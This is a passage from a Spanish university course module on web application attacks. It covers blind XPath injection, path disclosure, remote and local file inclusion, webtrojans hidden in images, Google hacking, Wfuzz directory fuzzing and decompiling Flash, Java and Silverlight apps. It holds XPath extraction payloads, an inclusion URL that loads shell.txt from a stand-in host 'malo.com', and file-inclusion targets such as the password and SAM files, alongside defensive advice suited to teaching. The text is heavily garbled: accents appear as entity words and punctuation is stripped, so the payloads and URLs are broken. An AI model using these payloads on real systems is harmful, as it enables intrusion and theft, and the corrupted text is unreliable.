Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

